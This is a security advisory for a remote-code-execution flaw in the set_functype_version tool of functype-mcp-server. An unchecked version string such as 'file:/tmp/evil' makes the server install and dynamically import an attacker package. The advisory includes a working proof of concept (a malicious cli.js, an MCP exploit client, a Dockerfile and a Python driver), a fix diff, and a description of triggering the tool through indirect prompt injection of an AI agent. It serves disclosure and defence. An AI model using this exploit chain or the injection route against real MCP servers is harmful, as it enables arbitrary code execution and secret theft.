GHSA-wcjj-9m6g-2fr2: High severity npm/functype-mcp-server vulnerability
MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import
Summary
The setfunctypeversion MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).
Details
The vulnerable code is in packages/mcp-server/src/index.ts. The setfunctypeversion tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).
Source (user input accepted without validation): ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.
Sink 1 — arbitrary package installation: ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = functype@${args.version} try { execFileSync("pnpm", ["add", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 }) args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.
Sink 2 — dynamic import executes installed package code: ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(${pathToFileURL(resolvedPath).href}?t=${Date.now()}) } initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the nodemodules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.
Data flow summary: 1. index.ts:115 — MCP tool setfunctypeversion registered, no auth required. 2. index.ts:119-121 — version accepted as raw z.string() (source). 3. index.ts:123 — functype@${args.version} constructed without sanitization. 4. index.ts:125 — execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install). 5. index.ts:134 — initDocsData(true) called immediately. 6. data.ts:29-30 — require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).
PoC
Step 1 — Prepare the attacker-controlled evil package: bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via setfunctypeversion\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULLINTERFACES = {}; export const VERSION = "1.0.0"; EOF
Step 2 — Clone and build the victim monorepo at the affected version: bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build
Step 3 — Set up an MCP client to deliver the exploit: bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk
cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [${process.env.REPO}/packages/mcp-server/dist/bin.js], env: { ...process.env, TRANSPORTTYPE: "stdio" }, });
await client.connect(transport); const result = await client.callTool({ name: "setfunctypeversion", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF
REPO="$TMP/functype" node exploit.mjs
Step 4 — Verify arbitrary code execution: bash cat /pwned.txt Expected output: RCE: mcp import-time code execution via setfunctypeversion
Dynamic reproduction (Docker):
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.
[poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via setfunctypeversion [evil-payload] Arbitrary code executed via functype/cli dynamic import
Recommended remediation: diff +const SAFEFUNCTYPEVERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFEFUNCTYPEVERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +}
execute: async (args) => { - const spec = functype@${args.version} + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = functype@${args.version} try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 })
Impact
This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the setfunctypeversion tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.
Who is impacted: - Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a setfunctypeversion call with a file: or npm: alias payload. - In non-default TRANSPORTTYPE=httpStream deployments, network-accessible attackers can exploit this without local access.
The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001: MCP setfunctypeversion Package Alias RCE Build context: reports/npmAI684jordanburkefunctype/ COPY repo/ -> /workspace/functype/ (victim monorepo) COPY vuln-001/ -> supporting PoC files Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . Run: docker run --rm vuln001-functype-rce Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
FROM node:24-slim
Install pnpm matching the repo's packageManager field (pnpm@11.7.0). RUN npm install -g pnpm@11.7.0 --quiet
── Victim workspace ────────────────────────────────────────────────────────── WORKDIR /workspace/functype COPY repo/ ./
Install all workspace deps. --no-frozen-lockfile avoids hash mismatches caused by running on a different pnpm minor than the one that generated the lockfile; the installed versions are still constrained by the lockfile specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile
Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build
Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build
── Attacker-controlled evil package ───────────────────────────────────────── /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/
── MCP exploit client ──────────────────────────────────────────────────────── WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/sdk@1.29.0 --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs
Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"]
poc.py
python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
Attack chain: 1. Attacker calls MCP tool setfunctypeversion with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's nodemodules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
Usage: python3 poc.py [--build-only]
Requirements: - Docker daemon running - Build context at parent directory of this file's directory """
import subprocess import sys import json import os import argparse
VULNDIR = os.path.dirname(os.path.abspath(file)) REPORTDIR = os.path.dirname(VULNDIR) IMAGENAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULNDIR, "Dockerfile") RESULTFILE = os.path.join(VULNDIR, "phase2result.json")
BUILDCMD = ["docker", "build", "-t", IMAGENAME, "-f", DOCKERFILE, REPORTDIR] RUNCMD = ["docker", "run", "--rm", IMAGENAME]
def run(cmd, timeout=None, kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, kwargs, )
def writeresult(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": " ".join(BUILDCMD), "runcommand": " ".join(RUNCMD), "poccommand": f"python3 {os.path.basename(file)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULTFILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensureascii=False) print(f"[poc] Result written to {RESULTFILE}") print(f"[poc] verdict={verdict} passed={passed}")
def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.addargument("--build-only", action="storetrue", help="Only build the image, do not run") args = parser.parseargs()
# ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILDCMD)}")
try: build = run(BUILDCMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") writeresult(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2)
if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) writeresult( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1)
print("[poc] Build succeeded.")
if args.buildonly: print("[poc] --build-only flag set; skipping run.") sys.exit(0)
# ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUNCMD)}")
try: runresult = run(RUNCMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") writeresult(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2)
stdout = runresult.stdout or "" stderr = runresult.stderr or "" combined = stdout + "\n" + stderr
print("=" 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {runresult.returncode}") print("=" 60)
# Success criteria: exit 0 AND exploit succeeded message present exploitsucceeded = "EXPLOIT SUCCEEDED" in combined passed = runresult.returncode == 0 and exploitsucceeded
if passed: # Extract key evidence lines evidencelines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidencelines) if evidencelines else combined[-1000:]
writeresult( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP setfunctypeversion 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0)
else: # Distinguish failure modes if not exploitsucceeded and runresult.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "nodemodules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {runresult.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." )
writeresult(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1)
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/functype-mcp-serverto a version that resolves this vulnerability.Fixed in 1.4.4 - Configuration
In packages/mcp-server/src/index.ts where the MCP tool set_functype_version accepts args.version as a raw z.string() and constructs spec as `functype@${args.version}`, add validation/allowlisting so version values cannot include package-alias/path syntaxes (e.g., `file:/...` as shown in the PoC). Also ensure semver/range/dist-tags are accepted only in a constrained format (the material includes a SAFE_FUNCTYPE_VERSION regex and isSafeFunctypeVersion(trimmed) check intent).
functype-mcp-server (MCP tool set_functype_version) version input validation / allowlist for functype package specifier = Reject or sanitize version strings containing alias/path syntaxes such as file: (and other npm specifier alias syntaxes like npm:) - Configuration
Replace the current installation call that uses execFileSync('pnpm', ['add', spec]) with a safe installation method that does not interpolate an unvalidated attacker-controlled specifier into the pnpm add spec. The material specifically shows execFileSync("pnpm", ["add", spec], ...) as the sink; ensure spec is derived only from validated semver/range/dist-tag inputs and cannot resolve to `functype@file:/evil` or similar alias syntaxes.
functype-mcp-server (package installation logic) pnpm install flags = Do not permit attacker-controlled spec in `pnpm add` - Configuration
The material states initDocsData(true) is called immediately after installing the functype alias, and initDocsData(true) dynamically imports functype/cli, executing /evil/cli.js at import time. Change initDocsData(true) flow so that dynamically importing functype/cli from newly installed content is not performed immediately after an on-demand install triggered by set_functype_version (or only perform it after verifying the installed package is trusted/validated).
functype-mcp-server (dynamic import after install) initialization behavior after installation initDocsData(true) = Avoid dynamic import-time execution of newly installed attacker-controlled module code
Event History
Frequently Asked Questions
Who can exploit this issue?
An attacker who can send an MCP tools/call request to the set_functype_version tool can exploit it. In stdio mode, the tool is enabled by default and requires no authentication.
What does exploitation require?
The attacker supplies a crafted version value that uses an npm or pnpm package-specifier syntax such as file: or npm:. The server installs the selected package and then dynamically imports functype/cli, executing attacker-controlled JavaScript in the MCP server process.
What is the impact of a successful exploit?
Successful exploitation results in remote code execution with the privileges of the MCP server process. The advisory describes full confidentiality, integrity, and availability impact.
Where is the vulnerable behavior located?
The vulnerable code is in packages/mcp-server/src/index.ts. It is associated with registration of the set_functype_version tool and the subsequent initDocsData(true) call after package installation.